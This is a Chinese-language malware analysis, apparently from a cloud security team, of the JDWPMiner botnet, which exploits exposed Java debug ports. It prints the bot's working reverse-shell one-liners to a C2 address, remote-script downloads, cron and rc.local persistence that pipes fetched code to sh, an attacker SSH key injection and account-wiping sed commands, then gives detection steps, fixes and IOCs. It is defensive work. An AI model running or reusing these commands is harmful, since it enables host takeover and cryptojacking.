天天看點

Java開發遠端調試易埋隐患,JDWPMiner挖礦木馬後門分析概述傳播手段協定分析 入侵分析安全建議IOC

概述

近日,阿裡雲安全監測到一種利用JDWP RCE漏洞進行挖礦的惡意攻擊,JDWP廣泛使用于JAVA應用程式開發調試階段,而JAVA又廣泛用于開發電商、辦公應用、CMS等日常息息相關的平台,如果軟體釋出中未将遠端調試關閉,将留下重大隐患,而JDWPMiner正式利用這一特性進行入侵牟利。

阿裡雲安全專家分析發現,該僵屍網絡利用Java Debug RCE漏洞進行入侵,通過從惡意下載下傳源下載下傳挖礦二進制檔案實作挖礦,通過Crontab進行持久化,将秘鑰寫入authorized_keys而擷取遠端通路權限,通過四種方式執行反彈shell,最終全權控制主機,對使用者資産危害極大。

阿裡雲安全持續對該BOT進行監控,發現近期傳播有所上升,提醒廣大使用者注意防護。

Java開發遠端調試易埋隐患,JDWPMiner挖礦木馬後門分析概述傳播手段協定分析 入侵分析安全建議IOC

傳播手段

JDWPMiner通過JDWP RCE漏洞進行入侵和傳播,利用shell.sh腳本下載下傳挖礦木馬并執行,通過crontab、cron.d、rc.local進行持久化,依據系統環境執行python、perl、nc、bash進行反彈shell到指定IP,進而完成整個入侵過程。

Java開發遠端調試易埋隐患,JDWPMiner挖礦木馬後門分析概述傳播手段協定分析 入侵分析安全建議IOC

階段分析

Java開發遠端調試易埋隐患,JDWPMiner挖礦木馬後門分析概述傳播手段協定分析 入侵分析安全建議IOC

協定分析

JDWP(Java Debug Wire Protocol Transport Interface)協定是用于調試器(Debugger)和被調試器Java虛拟機(Target JVM)之間的通信協定。在JDPA體系中,作為前端的調試者(debugger)和後端的被調試程式(debuggee)程序之間的互動資料的格式是由JDWP來描述的,協定詳細完整地定義了請求指令、回應資料和錯誤代碼,保證了前後端JVMTI和JDI的通信,通過該協定Debugger可以擷取到VM中包括類、對象、線程等資訊。

Java開發遠端調試易埋隐患,JDWPMiner挖礦木馬後門分析概述傳播手段協定分析 入侵分析安全建議IOC

JDWP是基于TCP的二進制封包的網絡協定,通過指令包(command packet)和回複包(reply packet)進行通信。其中Flags字段用于表明是指令包還是回複包,Command Set定義了Command類别。

Java開發遠端調試易埋隐患,JDWPMiner挖礦木馬後門分析概述傳播手段協定分析 入侵分析安全建議IOC

需要開啟上述協定,通常需要在apache-tomcat安裝包bin目錄下對catalina.sh或者setenv.sh進行修改,其中連接配接方式有兩種,分别是dt_shment代表本機調試和dt_socket代表遠端調試。

CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000"

也可通過指令行方式直接開啟

java -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000 -jar demo.jar

由于JDWP協定不帶有認證資訊,對于一個開啟了調試端口的JAVA應用,任何人都可以利用JDWP進行調試,這給開發、運維帶來了極大的風險,JDWPMiner正是利用該特性進行入侵獲利。

入侵分析

上述提及兩種方式可以導緻JDWP端口開放至公網,JDWPMiner通過利用JDWP RCE漏洞進行入侵,在其父程序調用wget

java -server -Xms256m -Xmx2048m -XX:MaxPermSize=256m -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000 -jar demo.jar

執行指令如下

wget http://m247.ltd:36663/.seashells/shell.sh

運作shell.sh包含了四種方式進行反彈shell,分别是python、perl、nc、bash,其C2位址為位于盧森堡的192.251.84.152,shell執行後其主機将完全淪陷受到JDWPMiner的管控。

if command -v python > /dev/null 2>&1; then

python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("198.251.84.152",42069)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'

exit;

fi

if command -v perl > /dev/null 2>&1; then

perl -e 'use Socket;$i="198.251.84.152";$p=42069;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

exit;

fi if command -v nc > /dev/null 2>&1; then

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 198.251.84.152 42069 >/tmp/f

exit;

fi if command -v sh > /dev/null 2>&1; then

/bin/sh -i >& /dev/tcp/198.251.84.152/42069 0>&1 exit;

fi

rm -rf shell.sh*

而後在teardrop.sh的調用執行中會進行不同方式的持久化

wget http://m247.ltd:36663/.xmrig/teardrop.sh -O-

通過sed将/etc/passwd抹掉常見記錄

sed -i 's/^eth0:.*//' /etc/passwd 2>/dev/null;

sed -i 's/^eth0:.*//' /etc/shadow 2>/dev/null;

sed -i 's/^eth1:.*//' /etc/passwd 2>/dev/null;

sed -i 's/^eth1:.*//' /etc/shadow 2>/dev/null;

sed -i 's/^sudev:.*//' /etc/passwd 2>/dev/null;

sed -i 's/^sudev:.*//' /etc/shadow 2>/dev/null;

sed -i 's/^system:.*//' /etc/passwd 2>/dev/null;

sed -i 's/^system:.*//' /etc/shadow 2>/dev/null;

添加公鑰到/root/.ssh/authorized_keys

# add ssh key

grep Glock /root/.ssh/authorized_keys || echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFjxDDMcytBQ+57s//0Fah9YVEosmvKMQXspMBi2G6qyF/v0nIE0OH9NhPkG02c8B+7ickaSJU97+UqPRw53mDbOJyT1BKWNbGPMAsLA/wz45O5wUhf/VFQhTpsKBai86N0uO3hjAPybE7fT/RarD45Ip4FUG1ttSw/Au6t1oLenRSAPegsS5b5vrn7OsGdA1kk8Jdk2FkdHBjIAHJtZsVsNLnE08WoAKQV65YWL6J5mnKjkt6bsViMeGAdjCbfgKNDdAnAqPfDHv3p+xIB8GnYwK8bVk4N9r/p4YgiNO+uURIWH0XMPJkvkyX4xco7w8XkyhXzKzRlvz8doXj4SMZ root@Glock' >> /root/.ssh/authorized_keys;

chmod 755 /root /root/.ssh /root/.ssh/authorized_keys 2>/dev/null;

chown root:root /root /root/.ssh /root/.ssh/authorized_keys 2>/dev/null;

通過Crontab進行持久化

# Add To Crontab

grep m247 /var/spool/cron/root || echo "0 * * * * wget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1" >> /var/spool/cron/root

grep m247 /var/spool/cron/crontabs/root || echo "0 * * * * wget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1" >> /var/spool/cron/crontabs/root

grep m247 /etc/crontab || echo "0 * * * * root wget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1" >> /etc/crontab

grep m247 /etc/cron.d/0hourly || echo "0 * * * * root wget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1" >> /etc/cron.d/0hourly

通過cron.d進行持久化

# Add to Cron.d

echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1' > /etc/cron.hourly/0;chmod +x /etc/cron.hourly/0;chattr +i /etc/cron.hourly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1' > /etc/cron.daily/0;chmod +x /etc/cron.daily/0;chattr +i /etc/cron.daily/0;

echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1' > /etc/cron.weekly/0;chmod +x /etc/cron.weekly/0;chattr +i /etc/cron.weekly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1' > /etc/cron.monthly/0;chmod 777 /etc/cron.monthly/0;chattr +i /etc/cron.monthly/0;

通過判斷不同系統版本使用rc.local進行持久化

if [[ -e /etc/debian_version ]]; then

RCLOCAL='/etc/rc.local';

echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.etc/rc -O- 2>/dev/null|sh>/dev/null 2>&1' > $RCLOCAL; chmod +x $RCLOCAL;

elif [[ -e /etc/centos-release || -e /etc/redhat-release ]]; then

RCLOCAL='/etc/rc.d/rc.local'

echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.etc/rc -O- 2>/dev/null|sh>/dev/null 2>&1' > $RCLOCAL; chmod +x $RCLOCAL;

chmod +x $RCLOCAL;

else

echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.etc/rc -O- 2>/dev/null|sh>/dev/null 2>&1' > /etc/rc.local;chmod +x /etc/rc.local;

fi

通過curl、wget進行挖礦木馬的下載下傳

curl -s http://m247.ltd:36663/.xmrig/miner.php || wget --quiet http://m247.ltd:36663/.xmrig/miner.php -O /dev/null

安全建議

如何驗證

本地驗證: 執行如下指令,如果傳回結果則說明打開了Debug端口。

ps -ef | grep jdwp | grep -v 'grep'

遠端驗證: telnet端口後,輸入指令 JDWP-Handshake,如果傳回JDWP-Handshare則證明存在漏洞

{ echo "JDWP-Handshake"; sleep 20 } | telnet remote_host remote_port

修複方案

  1. 搜尋catalina.sh或者setenv.sh,将含有 transport=dt_socket 的一行注釋掉即可
  2. 如果使用Docker,在dockerfile檔案中将 ENV JPDA_ENABLE=1 修改為 0

  1. 關閉JDWP端口或不對公網開放,如需調試在預發環境進行,完成後關閉Debug模式
  2. 關閉Java的Debug模式
  3. 雲防火牆利用大資料對網際網路上最新出現RCE進行實時監控,從RCE披露到響應時間整體小于3小時,能夠有效阻止客戶資産被RCE漏洞攻擊,其支援3-7層協定不僅滿足對Web網站的HTTP協定的防護,同時支援4層大量TCP/UDP協定的防禦。目前雲防火牆預設支援對Java 調試接口遠端指令執行漏洞的防禦。
Java開發遠端調試易埋隐患,JDWPMiner挖礦木馬後門分析概述傳播手段協定分析 入侵分析安全建議IOC
  1. 雲防火牆智能政策依據曆史流量自學習,提供符合客戶業務暴露面收斂的最佳實踐,通過“一鍵下發”或“自主選擇”可以實作資産的最大程度的網際網路暴露收斂,避免類似JDWP端口對外不當暴露風險,同時有效阻止“重保模式”下網絡空間測繪的掃描行為。
Java開發遠端調試易埋隐患,JDWPMiner挖礦木馬後門分析概述傳播手段協定分析 入侵分析安全建議IOC

IOC

SSH公鑰

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFjxDDMcytBQ+57s//0Fah9YVEosmvKMQXspMBi2G6qyF/v0nIE0OH9NhPkG02c8B+7ickaSJU97+UqPRw53mDbOJyT1BKWNbGPMAsLA/wz45O5wUhf/VFQhTpsKBai86N0uO3hjAPybE7fT/RarD45Ip4FUG1ttSw/Au6t1oLenRSAPegsS5b5vrn7OsGdA1kk8Jdk2FkdHBjIAHJtZsVsNLnE08WoAKQV65YWL6J5mnKjkt6bsViMeGAdjCbfgKNDdAnAqPfDHv3p+xIB8GnYwK8bVk4N9r/p4YgiNO+uURIWH0XMPJkvkyX4xco7w8XkyhXzKzRlvz8doXj4SMZ root@Glock

C2

198.251.84.152

Domain

m247.ltd

URL

http://m247.ltd:36663/..lolthats/sad.php http://m247.ltd:36663/.xmrig/miner.php http://m247.ltd:36663/.xmrig/0 http://m247.ltd:36663/.etc/rc http://m247.ltd:36663/..lolthats/0 http://m247.ltd/..etc/rc http://m247.ltd:36663/.seashells/shell.sh http://m247.ltd:36663/..etc/rc http://m247.ltd:36663/.xmrig/teardrop.sh